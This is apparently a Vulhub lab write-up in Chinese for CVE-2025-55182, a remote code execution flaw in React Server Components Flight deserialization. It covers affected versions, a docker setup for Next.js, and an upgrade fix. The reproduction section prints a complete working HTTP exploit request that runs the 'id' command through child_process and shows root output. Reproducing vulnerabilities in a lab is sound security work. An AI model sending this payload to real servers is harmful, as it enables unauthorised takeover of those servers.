# React Server Components Flight 协议反序列化代码执行 CVE-2025-55182

## 漏洞描述

React Server Components (RSC) 是 React 的一项功能，允许开发者在服务器上渲染组件并将结果发送给客户端。

React Server Components 中存在一个未授权的远程代码执行漏洞。攻击者可以向任何 Server Function 端点发送精心构造的恶意 HTTP 请求，当 React 对该请求进行反序列化时，即可在服务器上实现远程代码执行。该漏洞影响 `react-server-dom-webpack`、`react-server-dom-parcel` 和 `react-server-dom-turbopack` 的 19.0 到 19.2.0 版本，以及依赖这些包的框架（如 Next.js）。

参考链接：

- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- https://nextjs.org/blog/CVE-2025-66478
- https://github.com/ejpir/CVE-2025-55182-research
- https://cloud.projectdiscovery.io/library/CVE-2025-55182
- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc

## 漏洞影响

受影响版本：

```
react-server-dom-parcel 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-webpack 19.0, 19.1.0, 19.1.1, 19.2.0
```

安全版本：

```
react-server-dom-parcel 19.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack 19.0.1, 19.1.2, 19.2.1
react-server-dom-webpack 19.0.1, 19.1.2, 19.2.1
```

## 环境搭建

虽然这个漏洞是出现于 React Server Components 中，但 Next.js 作为最流行的 React 框架，在 Next.js 15 版本后已经全面支持 React Server Components。因此，我们可以使用 Next.js 来复现漏洞。

Vulhub 执行如下命令启动一个存在漏洞的 Next.js 15.5.6 服务器：

```
docker compose up -d
```

环境启动后，访问 `http://your-ip:3000` 即可看到应用程序。

![](images/React%20Server%20Components%20Flight%20协议反序列化代码执行%20CVE-2025-55182/image-20251212151535974.png)

## 漏洞复现

该漏洞是由于 React Server Components 在解码 Payload 时的缺陷导致的。通过在序列化数据中注入特定字段，攻击者可以遍历原型链并执行任意代码。发送如下数据包，即可执行命令 `id`：

```
POST / HTTP/1.1
Host: your-ip:3000
Next-Action: x
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Length: 141

------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryoQY2t4UYLMhGH8AS--
```

发送请求后，在响应头的 `x-action-redirect` 字段中可以看到 `id` 命令的执行结果：

```
x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push
```

![](images/React%20Server%20Components%20Flight%20协议反序列化代码执行%20CVE-2025-55182/image-20251212152005738.png)

## 漏洞修复

升级至最新版本。
